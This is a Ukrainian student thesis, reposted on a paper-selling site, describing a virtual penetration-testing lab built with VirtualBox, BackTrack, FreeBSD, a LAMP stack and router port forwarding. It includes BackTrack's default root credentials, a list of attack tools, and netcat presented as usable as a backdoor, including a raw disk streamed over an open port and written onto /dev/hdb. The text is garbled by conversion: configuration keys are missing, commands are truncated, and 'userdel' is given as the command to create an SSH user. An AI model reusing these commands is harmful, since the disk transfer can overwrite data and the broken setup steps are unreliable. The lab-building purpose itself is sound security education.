Створення гнучкої системи тестування веб-серверів для їх захисту від несанкціонованого доступу

  • Вид работы:
    Дипломная (ВКР)
  • Предмет:
    Информационное обеспечение, программирование
  • Язык:
    Украинский
    ,
    Формат файла:
    MS Word
    38,18 Кб
  • Опубликовано:
    2015-07-22
Вы можете узнать стоимость помощи в написании студенческой работы.
Помощь в написании работы, которую точно примут!

Створення гнучкої системи тестування веб-серверів для їх захисту від несанкціонованого доступу

Анотація

В даній дипломній роботі розглянуто створення віртуальної тестової лабораторії, що дає змогу проводити тестування надійності веб-серверів, та включає в себе встановлення тестового середовища, встановлення обєктів захисту (ПЗ для розгортання веб-сервера), тестування на проникнення та методи захисту від розглянутих методів проникнення.

Метою роботи є створення гнучкої системи тестування веб-серверів, для їх захисту від несанкціонованого доступу.

Створена система має не лише навчальну, але й практичну цінність: в межах віртуальної тестової лабораторії можна тестувати актуальне ПЗ на віртуальних машинах, а також проводити аудит безпеки реально працюючих серверів.

Ключові слова: віртуальна тестова лабораторія, веб-сервер, несанкціонований доступ, захист від несанкціонованого доступу.

Annotation

this thesis work is shown the creation of virtual test lab that enables to test the reliability of веб-servers, and includes the installation of the test environment protection facilities installation (software for deploying веб-server), penetration testing and methods of protection considered methods of penetration.aim is to create a flexible system of testing веб-servers to protect them from unauthorized access.system is not only educational, but also practical value: within virtual test lab can test the actual software on virtual machines and conduct safety audits actually working servers.: virtual test lab, веб-server, unauthorized access, protection against unauthorized access.

тестування сервер програмний

Перелік умовних позначень

ПЗ - програмне забезпечення.

ОС - операційна система.

ЕОМ - електронно обчислювальна машина.

ПК - персональний компютер.

СУБД - система управління базами даних.

TCP - один з основних мережевих протоколів Інтернету, призначений для управління передачею даних в мережах і підмережах TCP/IP.

IP - (від англ. Internet Protocol address) - це ідентифікатор (унікальний числовий номер) мережевого рівня, що використовується для адресації комп'ютерів чи пристроїв у мережах, що побудовані з використанням протоколу TCP/IP (наприклад Інтернет).- (від англ. Network Address Translation - перетворення (трансляція) мережевих адрес) - це механізм зміни мережевої адреси в заголовках IP датаграм, поки вони проходять через маршрутизуючий пристрій з метою відображення одного адресного простору в інший.- (від англ. Wide Area Network) - комп'ютерна мережа, що охоплює величезні території.

LAN - (від англ. Local Area Network) являє собою об'єднання певного числа компютерів на відносно невеликій території.

DHCP - (від англ. Dynamic Host Configuration Protocol - протокол динамічної конфігурації вузла) - це протокол прикладного рівня, що дозволяє комп'ютерам автоматично одержувати IP-адресу й інші параметри, необхідні для роботи в мережі.

SSH - (від англ. Secure SHell - «безпечна оболонка») - мережевий протокол рівня застосунків, що дозволяє проводити віддалене управління комп'ютером і тунелювання TCP-з'єднань.

FTP - (від англ. File Transfer Protocol, FTP) - дає можливість абоненту обмінюватися двійковими і текстовими файлами з будь-яким комп'ютером мережі, що підтримує протокол FTP.

XST - (від англ. cross-site tracing - міжсайтове трасування) - вразливість системи безпеки, при експлуатації метода HTTP TRACE.

DNS - (від англ. Domain Name System, DNS) - ієрархічна розподілена система перетворення імені хоста (комп'ютера або іншого мережевого пристрою) в IP-адресу.

DDNS - динамічний DNS адрес.

Вступ

Актуальність захисту інформації в останні роки зросла, і причиною цьому висока інформатизація суспільства у всіх сферах його діяльності. Компютери та інша обчислювальна техніка в рази продуктивніше виконує колись скучну та монотонну роботу, дає змогу оптимізувати будь-який процес. У певних сферах ця актуальність чітко виражена та зрозуміла, проте, частіше, побачити причинно-наслідковий звязок та оцінити його цінність можна тільки після того, як подія вже сталась.

Інформатизація настільки міцно закріпилась, що процес цей перейшов точку неповернення. Сучасний світ, з його безперервно зростаючим темпом життя, просто не зможе вижити таким, яким він є, без допомоги ЕОМ та інших механізмів швидкого забезпечення потрібної інформації. Ведення бізнесу, розроблення продукції, її реклама та реалізація, надання широкого спектру послуг, провадження автоматизованих систем управління та зрештою зручність для кінцевого користувача - все забезпечується системами по обробці, зберіганні та видачі інформації. І, звісно, найпродуктивніше все працює, при підключенні до всесвітньої мережі Інтернет, що поєднує мільйони ПК з серверами, де й проводяться ці операції.

Захист даних серверів є життєво необхідним. Вони являють собою ключові вузли звязку, що мають виділені адреси, до яких одночасно підключені тисячі користувачів Інтернету. При виході їх зі строю, система перестане функціонувати. Проте, гіршим є варіант їх несанкціонованої експлуатації, при якій користувачі самі віддадуть конфіденційну інформацію у руки зловмисника.

Веб-сервери, являють собою звичайні сервери з відповідним ПЗ. Відповідно їх захист майже нічим не відрізняється, проте не втрачає актуальності. Веб-сервер - це ЕОМ, на якій розміщується сайт, на якій він функціонує та до якої доступаються користувачі Інтернету. Можна сказати, що це «фронтенд» Інтернету. Дані сервери потребують спеціального ПЗ, та відповідно конфігурованих ОС. Оскільки специфіка веб-сервера потребує максимально можливої доступності для кінцевого користувача, а також що таких користувачів в кожний конкретний момент часу може бути дуже велика кількість, відповідно налаштувати захист є завжди питанням компромісним.

Наразі в світі щодня розробляють нові ПЗ, ОС, а також різного роду пристрої забезпечення передачі інформації, питання остаточного 100% захисту не вирішиться ніколи. З однієї сторони створення даної продукції виправдано, оскільки з часом змінюються потреби, а також вдосконалюються методи обробки та передачі інформації. Також в старих засобах, з часом, знаходять вразливості, що при їх експлуатації компрометують систему захисту. З іншої, кожний новий продукт, хоча й тестувався, проте реальний стрес-тест буде виконано лише при безпосередній реалізації системи на ринку. Практика показує, що захиститись від всіх багів до моменту випуску неможливо.

Питання гостро стосується веб-серверів, оскільки сайти працюють на так званих двигунах, які хоча й оновлюються, проте залишаються вразливими.

Створення віртуальної тестової лабораторії надає змогу тестування веб та інших серверів, до моменту реалізації системи, для виявлення недоліків на різних етапах створення та введення системи в дію. Також, в умовах тестової лабораторії, є можливість гучного конфігурування різних методів виявлення вразливостей, їх експлуатації та зрештої знешкодження цих вразливостей, для захисту кінцевої системи. Додатково залишена можливість тестування реально працюючих систем, а не тільки віртуальних, що дає змогу підтримки номінальної роботи серверів.

Розділ 1. Встановлення віртуальних тестових машин

.1 VirtualBox

- це потужний крос-платформенний засіб для програмної віртуалізації на платформах на базі х86 та x64. «Крос-платформеність» означає, що VirtualBox може бути встановлений на комп'ютери з MS Windows, Linux, Mac OS X і Solaris x86, а «засіб для програмної віртуалізації» означає, що можна створювати і запускати різні віртуальні машини, що використовують різні операційні системи одночасно на одному комп'ютері. Наприклад, є можливість запустити Windows і Linux на Mac, або Linux і Solaris з-під Windows, або Windows з-під Linux.VM VirtualBox доступна для завантаження у вигляді відкритого коду або у вигляді настановних бінарних файлів для Windows, та може використовуватись для віртуалізації таких операційних систем як Microsoft Windows, Linux, FreeBSD, Mac OS X, Solaris / OpenSolaris, ReactOS, DOS та інших.

1.2 Історія

Програма була створена компанією Innotek з використанням вихідного коду Qemu. Перша публічно доступна версія VirtualBox з'явилася 15 січня 2007. У лютому 2008 року Innotek був придбаний компанією Sun Microsystems, модель поширення VirtualBox при цьому не змінилася. У січні 2010 року Sun Microsystems була поглинена корпорацією Oracle, модель розповсюдження залишилася колишньою.

1.3 Ключові можливості

Кросплатформеність

Модульність

Підтримка USB 2.0, коли пристрої хост-машини стають доступними для гостьових операційних систем (тільки в пропріетарній версії)

Підтримка 64-бітних гостьових систем (починаючи з версії 2.0), навіть на 32-бітових хост-системах (починаючи з версії 2.1, для цього обов'язкова підтримка технології віртуалізації процесором)

Вбудований RDP-сервер, а також підтримка клієнтських USB-пристроїв поверх протоколу RDP (тільки в пропріетарній версії)

Експериментальна підтримка апаратного 3D-прискорення (OpenGL, DirectX 8/9 (з використанням коду wine) (тільки в 32-бітових Windows XP, Vista, 7 і 8), для гостьових DOS / Windows 3.x / 95/98 / ME підтримка апаратного 3D-прискорення не передбачена)

Підтримка образів жорстких дисків VMDK (VMware) і VHD (Microsoft Virtual PC), включаючи snapshots (починаючи з версії 2.1)

Підтримка віртуалізації аудіо пристроїв (емуляція AC97 або SoundBlaster 16 або Intel HD Audio на вибір)

Підтримка різних видів мережевої взаємодії (NAT, Host Networking via Bridged, Internal)

Підтримка ланцюжка збережених станів віртуальної машини (snapshots), до яких може бути проведений відкат з будь-якого стану гостьової системи

Підтримка Shared Folders для простого обміну файлами між хостової і гостьовий системами (для гостьових систем Windows 2000 і новіше, Linux і Solaris).

Підтримка інтеграції робочих столів (seamless mode) хостової і гостьовою операційною системою

Є можливість вибору мови інтерфейсу (підтримується і російськомовний інтерфейс).

RDP сервер - дозволяє підключатися до віртуальної системі віддалено за допомогою будь-якого RDP сумісного клієнта;

Підтримка USB - дозволяє передавати віртуальній машині USB пристрої;

Intel PXE boot ROM - завантаження операційної системи по мережі. Використовується для створення тонких клієнтів / бездискових робочих станцій.

.4 Сумісність

погано сумісна з Windows 95, Windows 98 (система повільно працює і без установки додаткових драйверів підтримується розширення екрана тільки 640 × 480) і Mac OS X (звук працює на один канал і з перебоями. Проте для новіших систем програма працює стабільно. Маються на увазі ОС Windows 7, Windows 8, Ubuntu, Kali тощо.

1.5 VirtualBox в Ubuntu

Починаючи з 4-ої версії Oracle VM VirtualBox існує в єдиній редакції, поширюваної під ліцензією GNU GPL з відкритими початковими кодами.

Деякі додаткові функції виділені в окремий пакет Oracle VM VirtualBox Extension Pack, серед яких:

Пакет Oracle VM VirtualBox Extension Pack поширюється під ліцензією PUEL, тобто його можна використовувати безкоштовно для особистих (некомерційних) цілей.

На даний момент VirtualBox включає в себе наступні можливості:

1.Нативна x86-віртуалізація, що не вимагає наявності підтримки апаратних технік Intel VT або AMD-V (яка, однак, може бути включена в настройках).

2.Дружній користувальницький інтерфейс, в тому числі і російською мовою (побудований за допомогою Qt).

.Підтримка Windows, Linux і Mac OS хостових систем.

.Наявність Guest VM Additions для спрощення взаємодії з хостової ОС.

.Підтримка багатопроцесорних і багатоядерних систем.

.Підтримка віртуалізації аудіо пристроїв.

.Висока продуктивність.

.Підтримка різних видів мережевої взаємодії (NAT, Host Networking via Bridged, Internal).

.Підтримка дерева збережених станів віртуальної машини (snapshots), до яких може бути проведений відкат з будь-якого стану гостьової системи.

.Опис налаштувань віртуальної машини в XML-форматі.

.Підтримка Загальних папок для простого обміну файлами між хостової і гостьовий системами.

Рис. 1. Інтерфейс VirtualBox.

1.6 BackTrack

- GNU / Linux-LiveCD, що виник як результат злиття WHAX і Auditor Security Collection. Проект створили Мати Ахароні (Mati Aharoni) і Макс Мозер (Max Moser). Призначений насамперед для проведення тестів на безпеку.

1.7 Опис

Дистрибутив створений для тестерів інформаційної безпеки. Поставляється у вигляді LiveUSB і LiveCD, від користувача вимагається тільки завантажитися з носія, що містить BackTrack. Також є можливість установки системи на жорсткий диск (потрібно приблизно 2,7 ГБ). В даний час в дистрибутив включені інструменти для програмно-технічної експертизи. Також ведеться робота над підтримкою ієрогліфічних азіатських мов.

Примітка: останні версії BackTrack поставляються у вигляді ISO-образу і образу для VMWare. У спеціальних версіях для LiveUSB більш немає необхідності, тому тепер установку на флешку легко зробити за допомогою утиліт типу Unetbootin або вручну.

Найбільш відомі програми в пакеті

Aircrack-ng

Burp_suite

Ettercap

Hydra

John_the_Ripper

Maltego

Kismet

Metasploit

Nmap

OWASP-ZAP

sqlmap

Wireshark (раніше Ethereal)

OWASP Mantra Security Framework - вдосконалений браузер Firefox для pentest.

Armitage - графічний інтерфейс для Metasploit.

.8 Поточний стан

Після того, як дистрибутив почав стабільно розвиватися і була налагоджена робота зворотного зв'язку з користувачами, виробники зробили акцент на розширенні стабільності і функціональності, що змінило процес розробки. У поточних версіях BackTrack більшість програм використані у вигляді окремих модулів, що спрощує процес створення доповнень та виправлень.

1.9 Категорії

Для зручності доступу до інструментів вони розділені на категорії

Enumeration і Information Gathering

Exploitation tools

Scanners

Password Attacks

Stress Testing

Spoofing і Sniffing

Wireless Attacks

Forensic Tools

Hardware hacking

BackTrack Services

Reverse Engineering

Misc

Так само до складу дистрибутива включені звичні для користувачів програми Mozilla Firefox, Gnome 2, gdm, dragon player.

.10 Установка BackTrack

1.Відкрийте VirtualBox за допомогою ярлика на робочому столі або в меню Пуск. Натисніть кнопку "Створити" кнопку в лівому верхньому кутку вікна. Введіть ім'я для вашої віртуальної машини в полі "Ім'я".

2.Натисніть на операційній системі меню, що випадає і виберіть "Linux". Натисніть кнопку "Версія" у спадному меню і виберіть "Linux 2.6." Натисніть кнопку "Продовжити". Натисніть та перетягніть повзунок, щоб збільшити базовий розмір пам'яті не менше 512 Мб.

.Натисніть кнопку "Продовжити". Виберіть "Створити новий жорсткий диск" і натисніть "Продовжити". Натисніть кнопку "Продовжити" ще раз. Виберіть "Тип носія" ви хочете використовувати. "Динамічно розширюється образ" займає менше місця на початковому етапі, зростаючий файл віртуального жорсткого диска в міру необхідності. "Фіксованого обсягу" створює повнорозмірний жорсткий диск відразу зазначеного розміру, приймаючи більше місця, але забезпечуючи кращу продуктивність, ніж динамічного диска. Натисніть кнопку "Продовжити" після вибору опції.

.Натисніть та перетягніть повзунок, щоб збільшити розмір диска не менше 10 Гб. Натисніть кнопку "Продовжити". Натисніть кнопку "Готово". Перегляньте сторінку Зведення, а потім натисніть кнопку "Готово".

.Натисніть на віртуальну машину, створену в списку в лівій частині вікна. Натисніть на кнопку "Налаштування" у верхній частині вікна. Натисніть кнопку "зберігання", розташовану у верхній частині вікні "Налаштування".

.Натисніть кнопку "Очистити" нижче значок "IDE Controller" в "Storage Дерево" список. Натисніть на значок компакт-диска поруч з "CD / DVD Drive" поля в правій частині вікна. Виберіть "Вибрати віртуальний CD / DVD-диска файл".

.Перейдіть до BackTrack 4 ISO файл у вікні натисніть кнопку "Відкрити". Натисніть "OK", щоб закрити вікно "Параметри". Натисніть кнопку "Пуск" у верхній частині вікна VirtualBox.

.Натисніть "Enter", щоб почати з параметрами за замовчуванням. Для запуску графічної оболонки введіть "StartX" і натисніть "Enter", коли з'являється підказка "Root @ BT: ~ #". Двічі клацніть на "install.sh", коли з'явиться робочий стіл, щоб почати установку.

.Виберіть свій часовий пояс з "Обраний місто" у спадному меню. Натисніть кнопку "Вперед". Натисніть «Вперед», щоб прийняти стандартні структуру розділів жорсткого диска. Натисніть кнопку "Встановити" і почекайте запуску програми установки до кінця і перезавантаження. Увійти можна використовуючи логін "root" та пароль "toor".

Рис. 2. Загальний вигляд BackTrack 5 R3.

Таким ж чином можна встановити інші ОС на VirtualBox. Принципової різниці між встановленням в якості віртуальної машини між встановлення на реальний ПК немає. Все що потрібно - це задати обєм диску а оперативної памяті. Все інше VirtualBox зробить сам.

Якщо дозволяє хостовий компютер, можна запустити кілька віртуальних машин одночасно. Все залежить від потужності хоста, а також він потреб в ресурсах гостьових машин. Для прикладу запуск BackTrack та Windows XP потребує біля 1Гб оперативної памяті від хоста.

Рис. 3. Одночасний запуск кількох машин.

.11 FreeBSD

Коротко про ОС- UNIX-подібна операційна система, коріння якої тягнеться від AT&T UNIX, через Berkeley Software Distribution (BSD) гілку операційних систем 386BSD та 4.4BSD. Працює на Intel x86 (IA-32), сумісних з ПК системах (включно з Microsoft Xbox, а також DEC Alpha, Sun, Itanium (IA-64), AMD64, PowerPC та NEC PC-98 архітектурах. FreeBSD добре зарекомендувала себе як система для побудови інтранет- і інтернет-серверів. Вона надає достатньо надійні мережеві служби і ефективне управління пам'яттю.розробляється як повноцінна операційна система. Ядро, драйвери пристроїв та базові користувацькі утиліти (так звані Userland), на кшталт командного процесору (shell) розробляються в єдиному ядрі. Це одна з головних відмінностей системи від Linux, у котрій робота над розробкою ядра ведеться однією групою програмістів, базових користувацьких утиліт іншою (наприклад, проектом GNU), і усе це збираються третіми групами у так званий дистрибутив.

Дана ОС являє собою найкращу open-source пропозицію на ринку. Система поєднує в собі дуже хорошу систему захисту, актуальну підтримку, стабільні оновлення, чітку та лаконічну документацію. Хорошою особливістю є небажання гнатись за новинками збоку творців ОС. Вони віддають перевагу розважливим рішенням, тому кожна нова версія FreeBSD це всебічно протестований продукт, що точно буде стабільно працювати. Взагалі стабільність системи - її ключовий козир.

Для захисту, система може працювати в двох режимах: одно- та багатокористувацькому. В одно-користувацькому сеансі, працює лишень адміністратор системи. Даний режим створений для відлагодження системи, а також її встановлення. Потрапити в даний сеанс можна лишень безпосередньо перебуваючи поряд з сервером. Багатокористувацький режим створений саме для доступу до сервера великої кількості неавторизованих користувачів, як от користувачів Інтернету, при перебуванні на сайті. Даний режим включає механізми захисту ОС, проте не забезпечує повного захисту від проникнення збоку стороннього ПЗ, наприклад при експлуатації вразливостей веб-двигуна.

1.12 Встановлення FreeBSD

Процес встановлення останніх версій FreeBSD значно спростився, оскільки інсталяційний скрипт, був переосмислений та набув більшої інтерактивності. Для мінімальної версії ОС, ніяких додаткових налаштувань під час встановлення не потрібно здійснювати, і зрештою нічим не відрізняється від встановлення інших ОС. На рис. 4. продемонстровано початковий вибір. Окрім самої установки, FreeBSD має можливість запуску в режимі консолі (для відлагодження встановлених систем) та режим LiveCD CD, для функціонування системи, без запису на жорсткий диск. Обираєм «Install».

Рис. 4. Встановлення FreeBSD.

Після встановлення клавіатури, та часових локалей, пакет запропонує вибір комплектації. Тут доцільно встановити бібліотеки, та вихідні коди.

Рис. 5. Пакет інсталяції.

Наступним кроком, є розбиття жорсткого диску. Обовязковим є наявність розділу підкачки (/swap), що надає можливість відводити частину простору диску, для потреб оперативної памяті. Це суттєво підвищує продуктивність.

Останнім кроком є встановлення паролю адміністратора (root).

Рис. 6. Розмітка диску.

Рис. 7. Запит на створення паролю.

Після перезавантаження, є можливість обрати режим роботи. В даному випадку обираєм багатокористувацький, проте, при збою системи потрібно обрати одно користувацький режим, для відлагодження системи.

Рис. 8. Вибір режиму.

Після встановлення, систему потрібно налаштувати.

Основні налаштування системи відбуваються в файлі /etc/rc.conf. При загрузці системи, з цього файлу зчитуються параметри.

Вносимо відповідні данні:="shellshock.uar.net" - доменне імя сервера_em0="inet 194.44.10.33 netmask 0xffffffc0" - налаштування мережі="194.44.10.1" - шлюз_enable="YES" - автозагрузка ssh_enable="YES" - автозарузка Apache2_enable="YES" - ввімкнення фаєрволу_script="/etc/ipfw.rules" - читання правил фаєрволу

На цьому початкові налаштування FreeBSD завершені. Після запуску системи у багатокористувацькому режимі, потрібно ввести логін та пароль. Екран привітання вказано на рис. 9.

Рис. 9. Привітання FreeBSD.

1.13 Налаштування спільних папок

Спільні («розшарені») папки доцільно використовувати, для передачі файлів між хостовою ОС та гостьовою. Для прикладу це можуть бути інсталяційні файли, драйвера чи документи. Можливо піти іншим шляхом, та використовувати «Хмарні» середовища, проте даний метод потребує обовязкового підключення до мережі Інтернет, та при великому обємі файлів втрачає привабливість.

1.14 В ОС Windows

Потрібно вказати загальну папку, у властивостях системи, встановленої на VirtualBox.

Рис. 10.VirtualBox загальні папки Крок 1.

Для цього, виділяємо потрібну ОС, тиснемо кнопку «Властивості», вибираємо розділ «Загальні папки». Кнопка «Додати загальну папку». Вказуємо шлях до потрібної папки на хостової ОС.

Рис. 11. VirtualBox загальні папки Крок 2.

Запускаємо віртуальну систему, після завантаження проходимо наступні кроки:

Установка / встановити доповнення гостьовий ОС. На всі питання відповідаємо ствердно.

Рис. 12. VirtualBox загальні папки Крок 3.

По завершенні установки доповнень, перезавантажуємо гостьову ОС, потім виконуємо наступну команду:use x: \\ vboxsvr \ share - де share ваша обрана папка, а «x» ім'я диска, який з'явиться в гостьовій ОС. Ім'я диска можна змінювати.

Після цього, у списку дисків гостьової ОС з'являється ще один пристрій - це і є, відкрита загальна папка.

Рис. 13. Крок 4.

.15 В ОС Linux

(англ. Net мережа + cat) - утиліта Unix, що дозволяє встановити з'єднання TCP та UDP, отримувати та передавати дані. Незважаючи на простоту та Користь, ця утиліта не включена до жодного стандарту.

Функціонал netcat корисний в тій же мірі, в якій корисна багатофункціональність кишенькового швейцарського армійського ножа. Деякі з її можливостей включають сканування портів, передачу файлів, прослуховування портів і вона може бути використана як бекдор.

Розширюючи попередню думку, nc можна використовувати для передачі файлів.

Для прикладу, потрібно передати деякий текстовий файл hi.txt, що містить в собі повідомлення «Hello, my dear friend!» з компютера з адресом 192.168.0.100 на компютер з адресом 192.168.0.108.

Для цього створим на 192.168.0.100 сервер, до якого в подальшому буде здійснено підключення.

Для передачі використовується деяка хитрість. Для того, щоб «повісити» файл на порт, обєднають дві команди: вивід файлу, та перенаправлення виводу в nc.

Рис. 14. Приклад передачі.

Після таких маніпуляцій, клієнт (192.168.0.108) може підключитись до сервера, та перенаправити отримані дані в локальний файл.

Рис. 15. Отриманий файл.

Таким чином можна переслати та відновити цілий диск. Достатньо «повісити» на сервері замість файлу цілий диск/dev/hdb | nc -l -p 12345192.168.0.100 12345 > /dev/hdb

Висновок до Розділу 1

В даному розділі розглянуто методи віртуалізації операційних систем, а також коротко самі операційні системи. Акцент зроблено саме на процесі встановлення операційних систем, оскільки їх встановлення в межах віртуальної машини нічим не відрізняється від встановлення на реальні сервери.

В якості хоста виступає Ubuntu 14.04, через кращу продуктивність даної ОС над Window 7, чи Windows 8. Засобами Linux краще вдається розприділити оперативну память, що є вкрай цінним ресурсом, на машині, в межах якої функціонують інші машини. Гостьовими ОС виступають FreeBSD (використовується як веб-сервер), BackTrack (В подальшому Kali Linux - як засіб тестування) та Windows XP (як приклад вразливої системи). FreeBSD добре підходить для умов віртуальної тестової лабораторії, оскільки є дуже поширеною, а отже й актуальною, та має зручне налаштування. BackTrack - це спеціальний дистрибутив Linux, створений насамперед, для тестування системи на проникнення (пентест). BackTrack містить всі потрібні програми, що попередньо встановлені на та налаштовані. Додатково є наявність словників, для переборю паролів.

Розділ 2. Встановлення віртуального тестового сервера

.1 LAMP

- акронім, що позначає набір (комплекс) серверного програмного забезпечення, широко використовуваний у Всесвітній павутині. LAMP названий за першими літерами входять до його складу компонентів:

·Linux - операційна система Linux;

·Apache - веб-сервер;

·MariaDB / MySQL - СУБД;

·PHP- мова програмування, що використовується для створення веб-додатків (крім PHP можуть матися на увазі інші мови, такі як Perl і Python).

Акронім LAMP може використовуватися для позначення:

·Інфраструктури веб-сервера

·парадигми програмування

·пакету програм

Хоча спочатку ці програмні продукти не розроблялися спеціально для роботи один з одним, така зв'язка стала вельми популярною через свою гнучкість, продуктивність та низьку вартість (всі її складові є відкритими і можуть бути безкоштовно завантажені з Інтернету). Набір LAMP входить до складу більшості дистрибутивів Linux і надається багатьма хостинговими компаніями.

Процес встановлення програм на FreeBSD дещо відрізняється: всі програми компілюються під час встановлення. Це дає більшу сумісність програм з ОС, та апаратними засобами. Для встановлення потрібно спочатку найти потрібну програмуapache24

Виводом буде направлення на директорію з інсталятором програми. Сама директорія міститься в кореневій директорії, що зветься Портом. Для встановлення потрібно перейти в відповідний порт, та виконати команду

configure install clean

Ця команда одразу сконфігурує, встановить та вичистить «інсталяційний мусор».

Сам пакет називається FAMP, та містить більш стабільні версії програм, проте не настільки «свіжі», у порівнянні з Linux.

Починаючи з Ubuntu 7.04 (Feisty Fawn) замовчуванням встановлена корисна утиліта Tasksel. Вона допоможе встановити LAMP. Просто виконаємо команду:

tasksel install lamp-server

При установці буде запитаний пароль для створення адміністратора БД MySQL.

2.2 Установка Apache 2

Якщо потрібно встановити лише веб-сервер Apache 2 використовується будь-який метод для того, щоб встановити пакет apache2. Для того, щоб Apache стартував його слід перезапустити:

/etc/init.d/apache2 restart

2.3 Установка PHP 5

Щоб встановити модуль PHP для Apache використовується будь-який метод для того, щоб встановити пакет libapache2-mod-php5. Включити модуль PHP 5 в Apache можна виконавши:

a2enmod php5

Це створить символічне посилання / etc / apache2 / mods-enabled / php5 що вказує на / etc / apache2 / mods-availble / php5. Якщо не використовуються застарілі в PHP короткі теги <? (що вкрай нерекомендовані) замість <? php потрібно відкрийте від імені супер користувача файл /etc/php5/apache2/php.ini, знайдіть у ньому рядок

_open_tag = On

і замініть його на_open_tag = Off

Це змусить ігнорувати відкривають теги <? Xml у файлах, оброблюваних PHP.

Для того, щоб зміни вступили в силу потрібно перезапустити Apache

service apache2 restart

Перевірка PHP

У папці / var / www створіть файл test.php, дайте права на читання до нього всім (або хоча б користувачеві apache) і запишіть у нього наступний рядок:

<? php phpinfo (); ?>

Залишається протестувати: у браузері перейти на сторінку http: //localhost/test.php. Якщо бачите опис встановленого PHP, значить все налаштували правильно.

2.4 Установка MySQL і його модулів для PHP 5

Щоб встановити MySQL використовується будь-який метод для того, щоб встановити пакети mysql-server libapache2-mod-auth-mysql php5-mysql.

2.5 PhpMyAdmin

Усі завдання які потрібно виконати MySQL можна робити використовуючи графічний інтерфейс програм phpmyadmin. Встановлюємо утиліту

apt-get install phpmyadmin

При установці вона запросить паролі які були задані при установці MySQL.

Зайти в нього можна з адреси http: // localhost / phpmyadmin /

При помилку 404 внесіть в файл /etc/apache2/apache2.conf Include /etc/phpmyadmin/apache.conf

Рис. 16. Тест роботи Apache2.

2.6 Форвард портів на маршрутизаторах TP-LINK

Найбільш поширені випадки використання перекидування портів - це:

ВЕБ-сервер (поштовий, ігровий або будь-який інший сервер);

Управління домашньої / офісної IP-камерою;

Віддалений робочий стіл домашнього / офісного ПК.

Розглянемо настройку портів для веб-сервера:

У кожному випадку використовується IP-адреса кінцевого пристрою і Мережевий порт - 192.168.0.100:80.

Домашні маршрутизатори використовують технологію NAT, коли зовнішній WAN IP (видається провайдером) відрізняється від LAN IP (видається маршрутизатором кінцевим пристроям).

Для роботи портів WAN IP-адрес (публічний) повинен бути "білим". Іншими словами НЕ повинен входити в діапазон "сірих" / приватних IP-адрес:IP-адресу маршрутизатора можна подивитися на сторінці: Стан - WAN.

Для цього у браузері ввести в адресному рядку LAN IP-адресу маршрутизатора за замовчуванням: #"justify">2.7 Резервування адреси

Оскільки DHCP - сервер маршрутизатора може видати IP-адреса пристрою кожен раз різний, його потрібно зарезервувати.

Для цього переходимо в меню DHCP - Резервування адрес.

І додаємо новий запис, натиснувши кнопку Додати

Прив'язуємо IP-адреса до МАС-адресою пристрою.

У полі МАС-адреса вказуємо МАС-адресу ВЕБ-сервера

У полі Зарезервований IP-адреса вказуємо бажаний адрес: 192.168.0.100

Рис. 17. Резервування адреси.

Після цього, доцільно привязати ІР-адреса до MAC-адресу віртуальних машин, а також сервера.

Рис. 18. Список зарезервованих адрес.

Одразу після виконання цих дій, зявляється недоступний до цього функціонал. Наприклад, тепер можна створити файл, що автоматично монтуватиме сервер як мережевий диск при кожному ввімкнені ОС. Наприклад для ОС Windows створити файл .bat з наступним вмістом:

use s: \\192.168.0.103\shellshock %pass% /user:shellshock

Поклавши такий файл на автозагрузку, отримаєм автоматична монтування сервера (shellshock \\192.168.0.103).

Рис. 19. Автомонтування сервера в Windows 7.

Якщо потрібно зробити перекидування порту 80, в такому випадку необхідно поміняти порт управління веб-інтерфейсом самого маршрутизатора, наприклад на 8080.

2.8 Зміна порту веб-управління маршрутизатором

Робиться це в меню Безпека - Віддалене управління

Рис. 20. Налаштування безпечного віддаленого управління маршрутизатором.

Маршрутизатор перезавантажиться і буде доступний за адресою #"justify">2.9 Перекидування порту / Відкриття порту

В меню Переадресація - Віртуальні сервери.

Натисніть кнопку Додати

Рис. 21. Віртуальні сервери

Рис. 22. Список портів.

Потрібно заповнити поля:

·Порт сервісу - Мережевий порт, по якому користувачі будуть заходити на ваш ВЕБ-сервер.

·Внутрішній порт - Внутрішній порт, по якому доступний ваш ВЕБ-сервер (всередині вашої локальної мережі).

Порт сервісу і Внутрішній порт можуть бути різними.адреса - Локальний IP-адресу вашого ВЕБ-сервера, виданий маршрутизатором.

2.10 Віддалене керування сервером SSH

Shell, SSH (англ. Secure SHell - «безпечна оболонка») - мережевий протокол рівня застосунків, що дозволяє проводити віддалене управління комп'ютером і тунелювання TCP-з'єднань (наприклад, для передачі файлів). Схожий за функціональністю з протоколом Telnet і rlogin, проте шифрує весь трафік, в тому числі і паролі, що передаються.

Криптографічний захист протоколу SSH не фіксований, можливий вибір різних алгоритмів шифрування. Клієнти і сервери, що підтримують цей протокол, доступні для різних платформ. Крім того, протокол дозволяє не тільки використовувати безпечний віддалений shell на машині, але і туннелювати графічний інтерфейс - X Tunnelling (тільки для Unix-подібних ОС або застосунків, що використовують графічний інтерфейс X Window System). Так само ssh здатний передавати через безпечний канал (Port Forwarding) будь-який інший мережевий протокол, забезпечуючи (при належній конфігурації) можливість безпечної пересилки не тільки X-інтерфейсу, але і, наприклад, звуку.

Підтримка SSH реалізована у всіх UNIX системах, і на більшості з них в числі стандартних утиліт присутні клієнт і сервер ssh. Існує безліч реалізацій SSH-клієнтів і для не-UNIX ОС. Велику популярність протокол отримав після широкого розвитку сніферів, як альтернативне небезпечному телнету рішення для управління важливими вузлами.

Зараз відомо дві гілки версій - 1 і 2. Проте гілка 1 зупинена, оскільки в кінці 90-х в ній було знайдено багато вразливостей, деякі з яких досі накладають серйозні обмеження на її використання, тому перспективною (такою, що розвивається) і найбезпечнішою є версія 2.

На прикладі: клієнт ноутбук (Kubuntu 14.04) - сервер (Ubuntu 13.14).

Перш за все потрібно встановити програму, яка складається з двох блоків: програми-клієнта, з якого підключаються, та програми-сервера до якої підключаються. За замовчуванням ssh-клієнт (ssh) та ssh-сервери (sshd) встановленні за замовчуванням "з коробки". В противному разі команда на встановлення:

apt-get install ssh

Оскільки ssh знаходиться в залежності з sshd - програму-сервер буде встановлено автоматично, проте автоматично сервер не запускається. Для його запуску потрібно ввести:

service ssh start

Наступним кроком є створення облікового запису, під яким буде здійснено вхід. Можна використовувати обліковий запис, що вже був створений на сервері завчасно (й під яким здійснювалось конфігурування сервера). Проте у цілях безпеки створимо нового користувача в системі. Всі дії повинні відбуватись на сервері.

userdel ssh-klient (де ssh-klient - імя нового користувача)

Після чого shell запросить створити новий пароль для користувача. Ввод паролю не буде супроводжуватись ніякими змінами командної стрічки. Це зроблено в цілях безпеки.

Заповнивши кілька пропонованих стрічок (можна залишити їх пустими), отримаємо наступне.

Рис. 23. Створення облікового запису.

